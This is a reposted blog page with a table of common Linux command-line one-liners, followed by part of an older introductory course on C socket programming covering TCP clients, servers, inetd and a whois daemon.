Search in shivacherukuri.tech@blogger.com

Thursday, December 16, 2010

: http://www.pixelbeat.org/cmdline.html linux cmdline commands

 

 

: http://www.pixelbeat.org/cmdline.html linux cmdline commands

 

 

This is a list of linux commands for common operations.
Note items marked with • are valid/safe to paste without modification into a terminal, so
you may want to keep a terminal window open while reading this so you can cut & paste.

 

Command

Description

•

apropos word

Show commands pertinent to word. See also threadsafe

 

which command

Show full path name of command

 

time command

See how long a command takes

•

time cat

Start stopwatch. Ctrl-d to stop. See also sw

•

nice info

Run a low priority command (info in this case)

•

renice 19 -p $$

Make shell (script) low priority. Use for non interactive tasks

•

look prefix

Quickly search (sorted) dictionary

•

grep --color expr...ion /usr/share/dict/words

Highlight occurances of regular expression in dictionary

 

gpg -c file

Encrypt file

 

gpg file.gpg

Decrypt file

•

alias hd='od -Ax -tx1z -v'

Handy hexdump. (usage e.g.: • hd /proc/self/cmdline | less)

•

alias realpath='readlink -f'

Canonicalize path. (usage e.g.: • realpath ~/../$USER)

•

set | grep $USER

Search current environment

•

ls /usr/bin | pr -T9 -W$COLUMNS

Print in 9 columns to width of terminal

 

touch -c -t 0304050607 file

Set file timestamp (YYMMDDhhmm)

dir navigation

•

cd -

Go to previous directory

•

cd

Go to home directory

 

(cd dir && command)

Go to dir, execute command and return to current dir

•

pushd .

Put current dir on stack so you can popd back to it

CDs

 

gzip < /dev/cdrom > cdrom.iso.gz

Save copy of data cdrom

 

mkisofs -V NAME -r dir | gzip > cdrom.iso.gz

Create cdrom image from contents of dir

 

mount -o loop cdrom.iso /mnt/dir

Mount the cdrom image at /mnt/dir (read only)

 

cdrecord -v dev=/dev/cdrom blank=fast

Clear a CDRW

 

gzip -dc cdrom.iso.gz | cdrecord -v dev=/dev/cdrom -

Burn cdrom image (use dev=ATAPI -scanbus to confirm dev)

 

cdparanoia -B

Rip audio tracks from CD to wav files in current dir

 

cdrecord -v dev=/dev/cdrom -audio *.wav

Make audio CD from all wavs in current dir (see also cdrdao)

 

oggenc --tracknum='track' track.cdda.wav -o 'track.ogg'

Make ogg file from wav file

archives

 

tar c dir/ | bzip2 > dir.tar.bz2

Make archive of dir/

 

bzip2 -dc dir.tar.bz2 | tar x

Extract archive (use gzip instead of bzip2 for tar.gz files)

 

tar c dir/ | gzip | gpg -c | ssh user@remote 'dd of=dir.tar.gz.gpg'

Make encrypted archive of dir/ on remote machine

 

find dir/ -name '*.txt' | tar c --files-from=- | bzip2 > dir_txt.tar.bz2

Make archive of subset of dir/ and below

 

find dir/ -name '*.txt' | xargs cp -a --target-directory=dir_txt/ --parents

Make copy of subset of dir/ and below

 

( tar c /dir/to/copy ) | ( cd /where/to/ && tar x -p )

Copy (with permissions) copy/ dir to /where/to/ dir

 

( cd /dir/to/copy && tar c . ) | ( cd /where/to/ && tar x -p )

Copy (with permissions) contents of copy/ dir to /where/to/

 

( tar c /dir/to/copy ) | ssh -C user@remote 'cd /where/to/ && tar x -p'

Copy (with permissions) copy/ dir to remote:/where/to/ dir

 

dd bs=1M if=/dev/hda | gzip | ssh user@remote 'dd of=hda.gz'

Backup harddisk to remote machine

rsync (Use the --dry-run option for testing)

 

rsync -P rsync://rsync.server.com/path/to/file file

Only get diffs. Do multiple times for troublesome downloads

 

rsync --bwlimit=1000 fromfile tofile

Locally copy with rate limit. It's like nice for I/O

 

rsync -az -e ssh --delete ~/public_html/ remote.com:'~/public_html'

Mirror web site (using compression and encryption)

 

rsync -auz -e ssh remote:/dir/ . && rsync -auz -e ssh . remote:/dir/

Synchronize current directory with remote one

•

alias l='ls -l --color=auto'

quick dir listing

•

ls -lrt

List files by date. See also newest

 

find -name '*.[ch]' | xargs grep -E 'expr'

Search 'expr' in this dir and below. See also findrepo

 

find -type f -print0 | xargs -r0 grep -F 'string'

Search all regular files for 'string' in this dir and below

 

find -maxdepth 1 -type f | xargs grep -F 'string'

Search all regular files for 'string' in this dir

 

find -maxdepth 1 -type d | while read dir; do echo $dir; echo cmd2; done

Process each item with multiple commands (in while loop)

•

find -type f ! -perm -444

Find files not readable by all (useful for web site)

•

find -type d ! -perm -111

Find dirs not accessible by all (useful for web site)

•

locate -r 'file[^/]*\.txt'

Search cached index for names. This re is like glob *file*.txt

networking (Note ifconfig, route, mii-tool, nslookup commands are obsolete)

•

ip link show

List interfaces

 

ethtool interface

List interface status

 

ip link set dev eth0 name wan

Rename eth0 to wan

 

ip addr add 1.2.3.4/24 brd + dev eth0

Add ip and mask(255.255.255.0)

 

ip link set dev interface up

Bring interface up (or down)

 

ip route add default via 1.2.3.254

Set default gateway to 1.2.3.254

•

tc qdisc add dev lo root handle 1:0 netem delay 20msec

Add 20ms latency to loopback device (for testing)

•

tc qdisc del dev lo root

Remove latency added above

•

host pixelbeat.org

Lookup ip address for name or vice versa

•

hostname -i

Lookup local ip address (equivalent to host `hostname`)

•

netstat -tupl

List internet services on a system

•

netstat -tup

List active connections to/from system

wget (multi purpose download tool)

•

(cd cmdline && wget -nd -pHEKk http://www.pixelbeat.org/cmdline.html)

Store local browsable version of a page to the current dir

 

wget -c http://www.example.com/large.file

Continue downloading a partially downloaded file

 

wget -r -nd -np -l1 -A '*.jpg' http://www.example.com/

Download a set of files to the current directory

 

wget ftp://remote/file[1-9].iso/

FTP supports globbing directly

•

wget -q -O- http://www.pixelbeat.org/timeline.html | grep 'a href' | head

Process output directly

 

echo 'wget url' | at 01:00

Download url at 1AM to current dir

 

wget --limit-rate=20k url

Do a low priority download (limit to 20KB/s in this case)

 

wget -nv --spider --force-html -i bookmarks.html

Check links in a file

 

wget --mirror http://www.example.com/

Efficiently update a local copy of a site (handy from cron)

windows (note samba is the package that provides all this windows specific networking support)

•

smbtree

Find windows machines. See also findsmb

 

nmblookup -A 1.2.3.4

Find the windows (netbios) name associated with ip address

 

smbclient -L windows_box

List shares on windows machine or samba server

 

mount -t smbfs -o fmask=666,guest //windows_box/share /mnt/share

Mount a windows share

 

echo 'message' | smbclient -M windows_box

Send popup to windows machine (off by default in XP sp2)

math

•

echo '(1 + sqrt(5))/2' | bc -l

Quick math (Calculate รถ)

•

echo 'obase=16; ibase=10; 123' | bc

Base conversion (decimal to hexadecimal)

•

echo $((0x2dec))

Base conversion (hex to dec) ((shell arithmetic expansion))

•

echo 'pad=20; min=64; (100*10^6)/((pad+min)*8)' | bc

More complex (int) e.g. This shows max FastE packet rate

•

echo 'pad=20; min=64; print (100E6)/((pad+min)*8)' | python

Python handles scientific notation

•

echo 'pad=20; plot [64:1518] (100*10**6)/((pad+x)*8)' | gnuplot -persist

Plot FastE packet rate vs packet size

•

seq 100 | (tr '\n' +; echo 0) | bc

Add a column of numbers. See also add and funcpy

text manipulation (note sed uses stdin and stdout, so if you want to edit files, append <oldfile >newfile)

 

sed 's/string1/string2/g'

Replace string1 with string2

 

sed 's/\(.*\)1/\12/g'

Modify anystring1 to anystring2

 

sed '/ *#/d; /^ *$/d'

Remove comments and blank lines

 

sed ':a; /\\$/N; s/\\\n//; ta'

Concatenate lines with trailing \

 

sed 's/[ \t]*$//'

Remove trailing spaces from lines

 

sed 's/\([\\`\\"$\\\\]\)/\\\1/g'

Escape shell metacharacters active within double quotes

 

sed -n '1000p;1000q'

Print 1000th line

 

sed -n '10,20p;20q'

Print lines 10 to 20

 

sed -n 's/.*<[tT][iI][tT][lL][eE]>\(.*\)<\/[tT][iI][tT][lL][eE]>.*/\1/p;T;q'

Extract title from HTML web page.

 

sort -t. -k1,1n -k2,2n -k3,3n -k4,4n

Sort IPV4 ip addresses

•

echo 'Test' | tr '[:lower:]' '[:upper:]'

Case conversion

•

tr -dc '[:print:]' < /dev/urandom

Filter non printable characters

•

grep 'processor' /proc/cpuinfo | wc -l

Count lines

set operations (Note LANG=C is for speed) (Note also these assume no duplicate lines within a file)

 

LANG=C sort file1 file2 | uniq

Union of unsorted files

 

LANG=C sort file1 file2 | uniq -d

Intersection of unsorted files

 

LANG=C sort file1 file1 file2 | uniq -u

Difference of unsorted files

 

LANG=C sort file1 file2 | uniq -u

Symmetric Difference of unsorted files

 

LANG=C comm file1 file2 | sed 's/^\t*//'

Union of sorted files

 

LANG=C comm -12 file1 file2

Intersection of sorted files

 

LANG=C comm -13 file1 file2

Difference of sorted files

 

LANG=C comm -3 file1 file2 | sed 's/^\t*//'

Symmetric Difference of sorted files

calendar

•

cal -3

Display a calendar

•

cal 9 1752

Display a calendar for a particular month year

•

date -d fri

What date is it this friday. See also day

•

date --date='25 Dec' +%A

What day does xmas fall on, this year

•

date --date '1970-01-01 UTC 1234567890 seconds'

Convert number of seconds since the epoch to a date

•

TZ=':America/Los_Angeles' date

What time is it on West coast of US (use tzselect to find TZ)

 

echo "mail -s 'get the train' P@draigBrady.com < /dev/null" | at 17:45

Email reminder

•

echo "DISPLAY=$DISPLAY xmessage cooker" | at "NOW + 30 minutes"

Popup reminder

locales

•

printf "%'d\n" 1234

Print number with thousands grouping appropriate to locale

•

BLOCK_SIZE=\'1 ls -l

get ls to do thousands grouping appropriate to locale

•

echo "I live in `locale territory`"

Extract info from locale database

•

locale | cut -d= -f1 | xargs locale -kc | less

List fields in locale database

•

LANG=en_IE.utf8 locale int_prefix

Lookup locale info for specific country. See also ccodes

disk space (See also FSlint)

•

ls -lSr

Show files, biggest last

•

du -s * | sort -k1,1rn | head

Show top disk users in current dir. See also dutop

•

df -h

Show free disk space

•

df -i

Show free inodes

•

fdisk -l

Show disks partitions sizes and types (run as root)

•

rpm -q -a --qf '%10{SIZE}\t%{NAME}\n' | sort -k1,1n

List all packages by installed size (Bytes) on rpm distros

•

dpkg-query -W -f='${Installed-Size;10}\t${Package}\n' | sort -k1,1n

List all packages by installed size (KBytes) on deb distros

•

dd bs=1 seek=2TB if=/dev/null of=ext3.test

Create a large test file (taking no space). See also truncate

monitoring/debugging

•

strace -c ls >/dev/null

Summarise/profile system calls made by command

•

strace -f -e open ls >/dev/null

List system calls made by command

•

ltrace -f -e getenv ls >/dev/null

List library calls made by command

•

lsof -p $$

List paths that process id has open

•

lsof ~

List processes that have specified path open

•

tcpdump not port 22

Show network traffic except ssh. See also tcpdump_not_me

•

ps -e -o pid,args --forest

List processes in a hierarchy

•

ps -e -o pcpu,cpu,nice,state,cputime,args --sort pcpu | sed '/^ 0.0 /d'

List processes by % cpu usage

•

ps -e -orss=,args= | sort -b -k1,1n | pr -TW$COLUMNS

List processes by mem usage. See also ps_mem.py

•

ps -C firefox-bin -L -o pid,tid,pcpu,state

List all threads for a particular process

•

ps -p 1,2

List info for particular process IDs

•

last reboot

Show system reboot history.

•

free -m

Show amount of (remaining) RAM (-m displays in MB)

•

watch -n1 'cat /proc/interrupts'

Watch changeable data continuously

System information (see also sysinfo)

 

hdparm -i /dev/hda

Show info about disk hda

 

hdparm -tT /dev/hda

Do a read speed test on disk hda

 

badblocks -s /dev/hda

Test for unreadable blocks on disk hda

•

mount | column -t

Show mounted filesystems on the system (and align output)

•

cat /proc/partitions

Show all partitions registered on the system

•

grep MemTotal /proc/meminfo

Show RAM total seen by the system

•

grep "model name" /proc/cpuinfo

Show CPU(s) info

•

lspci -tv

Show PCI info

•

lsusb -tv

Show USB info

recode (Obsoletes iconv, dos2unix, unix2dos)

•

recode -l | less

Show available conversions (aliases on each line)

 

recode windows-1252.. file_to_change.txt

Windows "ansi" to local charset (auto does CRLF conversion)

 

recode utf-8/CRLF.. file_to_change.txt

Windows utf8 to local charset

 

recode iso-8859-15..utf8 file_to_change.txt

Latin9 (western europe) to utf8

 

recode ../b64 < file.txt > file.b64

Base64 encode

 

recode /qp.. < file.txt > file.qp

Quoted printable decode

 

recode ..HTML < file.txt > file.html

Text to HTML

•

recode -lf windows-1252 | grep euro

Lookup table of characters

•

echo -n 0x80 | recode latin-9/x1..dump

Show what a code represents in latin-9 charmap

•

echo -n 0x20AC | recode ucs-2/x2..latin-9/x

Show latin-9 encoding

•

echo -n 0x20AC | recode ucs-2/x2..utf-8/x

Show utf-8 encoding

interactive

•

mc

Powerful filemanager that can browse rpm, tar, ftp, ssh, ...

•

screen

Virtual terminals with detach capability, ...

•

links

Web browser

•

gnuplot

Interactive/scriptable graphing

•

octave

Matlab like environment

 


We won't tell. Get more on shows you hate to love
(and love to hate): Yahoo! TV's Guilty Pleasures list.

: socket programming C

 

 

An Introduction to Socket Programming


Contents:
„h Introduction
„h BEWARE
„h Existing Services
„h Netstat Observations
„h Host names and IP numbers
„h Programming Calls
„h Services and Ports
„h Programming Calls
„h Socket Addressing
„h File Descriptors and Sockets
„h File Descriptors
„h Sockets
„h Client Connect
„h Client Communication
„h Stdio Buffers
„h Server Applications
„h Server Bind
„h Listen and Accept
„h Inetd Services
„h Inetd Comments
„h Whois Daemon
„h Running the Daemon
„h The Code
„h Connecting to the Server
„h Whois Client
„h Perl Socket Programming
„h Final Comments
„h Note Well
„h Suggested Reading
„h Author

Please Post & Get Full In formation about Socket Programming In C

[hide]
Introduction:
These course notes are directed at Unix application programmers who want to develop client/server applications in the TCP/IP domain (with some hints for those who want to write UDP/IP applications). Since the Berkeley socket interface has become something of a standard these notes will apply to programmers on other platforms.
Fundamental concepts are covered including network addressing, well known services, sockets and ports. Sample applications are examined with a view to developing similar applications that serve other contexts. Our goals are
„h to develop a function, tcpopen(server,service), to connect to service.
„h to develop a server that we can connect to.
This course requires an understanding of the C programming language and an appreciation of the programming environment (ie. compilers, loaders, libraries, Makefiles and the RCS revision control system). If you want to know about socket programming with perl(1) then see below but you should read everything first.
Our example is the UWO/ITS whois(1) service -- client and server sources available in:
Network Services: http://www.uwo.ca/its/network
Look for the whois(1) client and the whoisd(8) server. You'll find extensive documentation on the UWO/ITS Whois/CSO server -- that's the whoisd(8) server. It also includes some Perl clients which access the server to provide a gateway service (for the Finding People Web page and for CSO/PH clients). The Unix whois(1) client will be pretty obvious after you've read these notes.

BEWARE:
If C code scares you, then you'll get some concepts but you might be in the wrong course. You need to be a programmer to write programs (of course). This isn't an Introduction to C (or Perl)!


Existing Services:
Before starting, let's look at existing services. On a Unix machine there are usually lots of TCP/IP and UDP/IP services installed and running:
[1:17pm julian] netstat -a
Active Internet connections (including servers)
Proto R-Q S-Q Local Address Foreign Address (state)
tcp 0 0 julian.2717 vnet.ibm.com.smtp ESTABLISHED
tcp 0 0 julian.smtp uacsc2.alban.55049 TIME_WAIT
tcp 0 13 julian.nntp watserv1.wat.3507 ESTABLISHED
tcp 0 0 julian.nntp gleep.csd.uw.3413 ESTABLISHED
tcp 0 0 julian.telnet uwonet-serve.55316 ESTABLISHED
tcp 0 0 julian.login no8sun.csd.u.1023 ESTABLISHED
tcp 0 0 julian.2634 Xstn15.gaul..6000 ESTABLISHED
etc...
tcp 0 0 *.printer *.* LISTEN
tcp 0 0 *.smtp *.* LISTEN
tcp 0 0 *.waisj *.* LISTEN
tcp 0 0 *.account *.* LISTEN
tcp 0 0 *.whois *.* LISTEN
tcp 0 0 *.nntp *.* LISTEN
etc...
udp 0 0 *.ntp *.*
udp 0 0 *.syslog *.*
udp 0 0 *.xdmcp *.*

Netstat Observations:
Inter Process Communication (or IPC) is between host.port pairs (or host.service if you like). A process pair uses the connection -- there are client and server applications on each end of the IPC connection.
Note the two protocols on IP -- TCP (Transmission Control Protocol) and UDP (User Datagram Prototocol). There's a third protocl ICMP (Internet Control Message Protocol) which we'll not look at -- it's what makes IP work in the first place!
We'll be looking in more detail at TCP services and will not look at UDP -- but see a sample Access Control List client/server pair which uses UDP services, you'll find that in:
Access Control Lists: http://www.uwo.ca/its/network/security/acl
TCP services are connection orientated (like a stream, a pipe or a tty like connection) while UDP services are connectionless (more like telegrams or letters).
We recognize many of the services -- SMTP (Simple Mail Transfer Protocol as used for E-mail), NNTP (Network News Transfer Protocol service as used by Usenet News), NTP (Network Time Protocol as used by xntpd(8)), and SYSLOG is the BSD service implemented by syslogd(1M).
The netstat(1M) display shows many TCP services as ESTABLISHED (there is a connection between client.port and server.port) and others in a LISTEN state (a server application is listening at a port for client connections). You'll often see connections in a CLOSE_WAITE state -- they're waiting for the socket to be torn down.

Host names and IP numbers:
Hosts have names (eg. julian.uwo.ca) but IP addressing is by number (eg. [129.100.2.12]). In the old days name/number translations were tabled in /etc/hosts.
[2:38pm julian] page /etc/hosts
# /etc/hosts: constructed out of private data and DNS. Some machines
# need to know some things at boot time. Otherwise, rely on DNS.
#
127.0.0.1 localhost
129.100.2.12 julian.uwo.ca
129.100.2.26 backus.ccs.uwo.ca loghost.its.uwo.ca
129.100.2.33 filehost.ccs.uwo.ca
129.100.2.14 panther.uwo.ca
etc...
These days name to number translations are implemented by the Domain Name Service (or DNS) -- see named(8). and resolv.conf(4).
[2:43pm julian] page /etc/resolv.conf
# $Author: reggers $
# $Date: 1997/05/02 20:17:16 $
# $Id: socket.html,v 1.8 1997/05/02 20:17:16 reggers Exp $
# $Source: /usr/src/usr.local/doc/courses/socket/RCS/socket.html,v $
# $Locker: $
#
# The default /etc/resolv.conf for the ITS solaris systems.
#
nameserver 129.100.2.12
nameserver 129.100.2.51
nameserver 129.100.10.252
domain its.uwo.ca
search ncsm.its.uwo.ca its.uwo.ca uwo.ca

Programming Calls:
Programmers don't scan /etc/hosts nor do they communicate with the DNS. The C library routines gethostbyname(3) (and gethostbyaddr(3) on the same page) each return a pointer to an object with the following structure:
struct hostent {
char *h_name; /* official name */
char **h_aliases; /* alias list */
int h_addrtype; /* address type */
int h_length; /* address length */
char **h_addr_list; /* address list */
};
#define h_addr h_addr_list[0]
/* backward compatibility */
The structure h_addr_list is a list of IP numbers (recall that a machine might have several interfaces, each will have a number).
Good programmers would try to connect to each address listed in turn (eg. some versions of ftp(1) do that). Lazy programmers (like me) just use h_addr -- the first address listed. But see the acl(1) and acld(8) example noted earlier -- the client will try each server until it gets an answer or runs out of servers to ask.
Client applications connect to a host.port (cf. netstat output) for a service provided by the application found at that address.
Proto R-Q S-Q Local Address Foreign Address (state)
tcp 0 0 julian.2717 vnet.ibm.com.smtp ESTABLISHED
tcp 0 13 julian.nntp watserv1.wat.3507 ESTABLISHED

The connection is usually prefaced by translating a host name into an IP number (but if you knew the IP number you could carefully skip that step).
int tcpopen(host,service)
char *service, *host;
{
struct hostent *hp;
etc...
if ((hp=gethostbyname(host)) == NULL) then error...

I say "carefully" because the IP address is a structure of 4 octets. Watch out for byte ordering. An unsigned long isn't the same octet sequence on all machines. See byteorder(3N) for host to net conversions (host format to/from network format).

Services and Ports:
Services have names (eg. SMTP the Simple Mail Transfer Protocol). Ports have numbers (eg. SMTP is a service on port 25). The mapping from service names to port numbers is listed in /etc/services.
[1:22pm julian] page /etc/services
# $Author: reggers $
# $Date: 1997/05/02 20:17:16 $
#
# Network services, Internet style
etc...
ftp 21/tcp
telnet 23/tcp
smtp 25/tcp mail
whois 43/tcp nicname
domain 53/tcp nameserver
domain 53/udp nameserver
tftp 69/udp
finger 79/tcp
nntp 119/tcp readnews untp
ntp 123/udp
snmp 161/udp
xdmcp 177/udp xdm
etc...

Programming Calls:
But programmers don't scan /etc/services, they use library routines. The C library routines getservbyname(3N) (and getservbyport(3N) on the same page) each return a pointer to an object with the following structure containing the broken-out fields of a line in /etc/services.
struct servent {
char *s_name; /* name of service */
char **s_aliases; /* alias list */
int s_port; /* port for service */
char *s_proto; /* protocol to use */
};

Client applications connect to a service port. Usually this is prefaced by translating a service name (eg. SMTP) into the port number (but if you knew the port number you could carefully skip that step).
int tcpopen(host,service)
char *service, *host;
{
struct servent *sp;
etc...
if ((sp=getservbyname(service,"tcp")) == NULL) then error...

Ie. to determine the port number for a particular tcp service. Note that you'd do the same to determine port numbers for UDP services.

Socket Addressing:
A Socket Address is a host.port pair (communication is between host.port pairs -- one on the server, the other on the client). We know how to determine host numbers and service numbers so we're well on our way to filling out a structure were we specify those numbers. The structure is sockaddr_in, which has the address family is AF_INET as in this fragment:
int tcpopen(host,service)
char *service, *host;
{ int unit;
struct sockaddr_in sin;
struct servent *sp;
struct hostent *hp;
etc...
if ((sp=getservbyname(service,"tcp")) == NULL) then error...
if ((hp=gethostbyname(host)) == NULL) then error...

bzero((char *)&sin, sizeof(sin));
sin.sin_family=AF_INET;
bcopy(hp->h_addr,(char *)&sin.sin_addr, hp->h_length);
sin.sin_port=sp->s_port;
etc...

The code fragment is filling in the IP address type AF_INET, port number and IP address in the Socket Address structure -- the address of the remote host.port where we want to connect to find a service.
There's a generic Socket Address structure, a sockaddr, used for communication in arbitrary domains. It has an address family field and an address (or data) field:
/* from: /usr/include/sys/socket.h */
struct sockaddr {
u_short sa_family; /* address family */
char sa_data[14]; /* max 14 byte addr */
};

The sockaddr_in structure is for Internet Socket Addresses (address family AF_INET). An instance of the generic socket address.
/* from: /usr/include/netinet/in.h */
struct sockaddr_in {
short sin_family; /* AF_INET */
u_short sin_port; /* service port */
struct in_addr sin_addr; /* host number */
char sin_zero[8]; /* not used */
};
The family defines the interpretation of the data. In other domains addressing will be different -- services in the UNIX domain are names (eg. /dev/printer). In the sockaddr_in structure we've got fields to specify a port and a host IP number (and 8 octets that aren't used at all!). That structure specifies one end of an IPC connection. Creating that structure and filling in the right numbers has been pretty easy so far.

File Descriptors and Sockets:

File Descriptors:
File Descriptors are the fundamental I/O object. You read(2) and write(2) to file descriptors.
int cc, fd, nbytes;
char *buf;

cc = read(fd, buf, nbytes);
cc = write(fd, buf, nbytes)
The read attempts to read nbytes of data from the object referenced by the file descriptor fd into the buffer pointed to by buf. The write does a write to the file descriptor from the buffer. Unix I/O is a byte stream.
File descriptors are numbers used for I/O. Usually the result of open(2) and creat(2) calls.
All Unix applications run with stdin as file descriptor 0, stdout as file descriptor 1, and stderr as file descriptior 3. But stdin is a FILE (see stdio(3S)) not a file descriptor. If you want a stdio FILE on a file descriptor use fdopen(3S).
Sockets:
A Socket is a Unix file descriptor created by the socket(3N) call -- you don't open(2) or creat(2) a socket. By way of comparison pipe(2) creates file descriptors too -- you might be familiar with pipes which predate sockets in the development of the Unix system.
int s, domain, type, protocol;
s = socket(domain, type, protocol);
etc...
cc = read(s, buf, nbytes);
The domain parameter specifies a communications domain (or address family). For IP use AF_INET but note that socket.h lists all sorts of address families. This is to inform the system how an address should be understood -- on different networks, like AF_DECnet, addressing may be longer than the four octets of an IP number. We're only concerned with IP and the AF_INET address family.
The type parameter specifies the semantics of communication (sometimes know as a specification of quality of services). For TCP/IP use SOCK_STREAM (for UDP/IP use SOCK_DGRAM). Note that any address family might support those service types. See socket.h for a list of service types that might be supported.
A SOCK_STREAM is a sequenced, reliable, two-way connection based byte stream. If a data cannot be successfully transmitted within a reasonable length of time the connection is considered broken and I/O calls will indicate an error.
The protocol specifies a particular protocol to be used with the socket -- for TCP/IP use 0. Actually there's another programmers interface getprotobyname(3N) that provides translates protocol names to numbers. It's an interface to the data found in /etc/protocols -- compare with the translation of service names to port numbers discussed above.

Client Connect:
A client application creates a socket(3N)and then issues a connect(3N) to a service specified in a sockaddr_in structure:
int tcpopen(host,service)
char *service, *host;
{ int unit;
struct sockaddr_in sin;
struct servent *sp;
struct hostent *hp;

if ((sp=getservbyname(service,"tcp")) == NULL) then error...
if ((hp=gethostbyname(host)) == NULL) then Ierror...
bzero((char *)&sin, sizeof(sin))
etc...
if ((unit=socket(AF_INET,SOCK_STREAM,0)) < 0) then error...
if (connect(unit,&sin,sizeof(sin)) < 0) then error...
return(unit);
}
The result returned is a file descriptor which is connected to a server process. A communications channel on which one can conduct an application specific protocol.
Client Communication:
Having connected a socket to a server to establish a file descriptor communication is with the usual Unix I/O calls. You have Inter Process Communication (or IPC) to a server.
Many programmers turn file descriptors into stdio(3S) streams so they can use fputs, fgets, fprintf, etc. -- use fdopen(3S).
main(argc,argv)
int argc;
char *argv[];
{
int unit,i;
char buf[BUFSIZ];
FILE *sockin,*sockout;

if ((unit=tcpopen(WHOHOST,WHOPORT))
< 0) then error...
sockin=fdopen(unit,"r");
sockout=fdopen(unit,"w");
etc...
fprintf(sockout,"%s\n",argv[i]);
etc...
while (fgets(buf,BUFSIZ,sockin)) etc...

Stdio Buffers:
Stdio streams have powerful manipulation tools (eg. fscanf is amazing). But beware, streams are buffered! This means a well placed fflush(3S) is often required to flush a buffer to the peer.
fprintf(sockout,"%s\n",argv[i]);
fflush(sockout);

while (fgets(buf,BUFSIZ,sockin)) etc...
Many client/server protocols are client driven -- the client sends a command and expects an answer. The server won't see the command if the client doesn't flush the output. Likewise, the client won't see the answer if the server doesn't flush it's output.
Watch out for client and server blocking -- both waiting for input from the other.

Server Applications:
A system offers a service by having an application running that is listening at the service port and willing to accept a connection from a client. If there is no application listening at the service port then the machine doesn't offer that service.
The SMTP service is provided by an application listening on port 25. On Unix systems this is usually the sendmail(1M) application which is started at boot time.
[2:20pm julian] ps -agx | grep sendmail
419 ? SW 0:03 /usr/lib/sendmail -bd -q15m
18438 ? IW 0:01 /usr/lib/sendmail -bd -q15m

[2:28pm julian] netstat -a | grep smtp
tcp 0 0 julian.3155 acad3.alask.smtp SYN_SENT
tcp 0 0 *.smtp *.* LISTEN

In the example we have a process listening to the smtp port (for inbound mail) and another process talking to the smtp port on acad3.alaska.edu (ie. sending mail to that system).
So how do we get a process bound behind a port?
Server Bind:
A Server uses bind(3N) to establish the local host.port assignment -- ie. so it is the process behind that port. That's really only required for servers -- applications which accept(3N) connections to provide a service.
struct servent *sp;
struct sockaddr_in sin;

if ((sp=getservbyname(service,"tcp")) == NULL) then error...

sin.sin_family=AF_INET;
sin.sin_port=sp->s_port;
sin.sin_addr.s_addr=htonl(INADDR_ANY);

if ((s=socket(AF_INET,SOCK_STREAM,0)) < 0) then error...
if (bind(s, &sin, sizeof(sin)) < 0) then error...
htonl(3N) converts a long to the right sequence (given different byte ordering on different machines). The IP address INADDR_ANY means all interfaces. You could, if you wanted, provide a service only on some interfaces -- eg. if you only provided the service on the loopback interface (127.0.0.1) then the service would only be available to clients on the same system.
What this code fragment does is specify a local interface and port (into the sin structure). The process is bound to that port -- it's now the process behind the local port.
Client applications usually aren't concerned about the local host.port assignment (the connect(3N) does a bind o some random but unused local port on the right interface). But rcp(1) and related programs (like rlogin(1) and rsh(1)) do connect from reserved port numbers.
I've done the same in some of my programming. See, for example, the version of tcpopen.c used in our Passwdd/Passwd -- An authentication Daemon/Client. There's an instance where a client application connects from a reserved port.
Listen and Accept:
To accept connections, a socket is created with socket(3N), it's bound to a service port with bind(3N), a queue for incoming connections is specified with listen(3N) and then the connections are accepted with accept(3N) as in this fragment:
struct servent *sp;
struct sockaddr_in sin,from;

if ((sp=getservbyname(service,"tcp")) == NULL) then error...
sin.sin_family=etc...
if ((s=socket(AF_INET,SOCK_STREAM,0)) < 0) then error...
if (bind(s, &sin, sizeof(sin)) < 0) then error...
if (listen(s,QUELEN) < 0) then error...
for (;;) {
if ((g=accept(f,&from,&len)) < 0) then error...
if (!fork()) {
child handles request...
...and exits
exit(0);
}
close(g); /* parent releases file */
}

This is the programming schema used by utilities like sendmail(1M) and others -- they create their socket and listen for connections. When connections are made, the process forks off a child to handle that service request and the parent process continues to listen for and accept further service requests.
But, you really don't want to use that programming paradigm unless you really have to. There are lots of hidden issues (like becoming a detached process and more) that you'd rather avoid.
Fortunately, there's an easier method.

Inetd Services:
Not all services are started at boot time by running a server application. Eg. you won't usually see a process running for the finger service like you do for the smtp service. Many are handled by the InterNet Daemon inetd(1M). This is a generic service configured by the file inetd.conf(4).
[2:35pm julian] page /etc/inetd.conf
# $Author: reggers $
# $Date: 1997/05/02 20:17:16 $
#
# Internet server configuration database
ftp stream tcp nowait root /usr/etc/ftpd ftpd
telnet stream tcp nowait root /usr/etc/telnetd telnetd
shell stream tcp nowait root /usr/etc/rshd rshd
login stream tcp nowait root /usr/etc/rlogind rlogind
exec stream tcp nowait root /usr/etc/rexecd rexecd
uucpd stream tcp nowait root /usr/etc/uucpd uucpd
finger stream tcp nowait nobody /usr/etc/fingerd fingerd
etc...
whois stream tcp nowait nobody /usr/lib/whois/whoisd whoisd
etc...


Inetd Comments:
For each service listed in /etc/inetd.conf the inetd(1M) process, and that is a process is started at boot time, executes the socket(3N), bind(3N), listen(3N) and accept(3N) calls as discussed above. Inetd also handles many of the daemon issues (signal handling, set process group and controlling tty) which we've studiously avoided.
The inetd(1M) process spawns the appropriate server application (with fork(2) and exec(2)) when a client connects to the service port. The daemon continues to listen for further connections to the service while the spawned child process handles the request which just came in.
The server application (ie. the child spawned by inetd(1M)) is started with stdin and stdout connected to the remote host.port of the client process which made the connection. Any input/output by the server appliation on stdin/stdout are sent/received by the client application. You have Inter Process Communication (or IPC)!
This means, any application written to use stdin/stdout can be a server application. Writing a server application should therefore be fairly simple.
Whois Daemon:
On julian we have an entry in /etc/inetd.conf for the UWO/ITS whois service:
[3:25pm julian] grep whois /etc/inetd.conf
whois stream tcp nowait nobody /usr/lib/whois/whoisd whoisd
This is our local directory service -- it's implemented on a TCP/IP stream (all whois services are), at the whois port (all whois services should be at that port), it's ran as user nobody (you don't need to run servers as user root), the program to run is /usr/lib/whois/whoisd, and the command line to the program is just whoisd.
This is a standard whois service -- it implements the trivial protocol required of all whois servers. Any whois client can use the service. The program conducts an application protocol on stdin/stdout (which is usually connected by a TCP/IP socket to a client application). The protocol is trivial -- server accepts a one line query, answers back and exits.

Running the Daemon:
You can run the whois daemon (on the server) to see what it does:
[3:27pm julian] echo reggers | /usr/lib/whois/whoisd
There were 1 matches on your request.

Full Name: Quinton, Reg
Department: Info Tech Svcs
Room: NSC 214
Phone: 679-2111x(6026)
Index Key: 481800
Machine Address: reggers@julian.uwo.ca
Directory Addresses: reg.quinton@uwo.ca
: r.quinton@uwo.ca
: reggers@uwo.ca
: quinton@uwo.ca

For more information try 'whois help'.
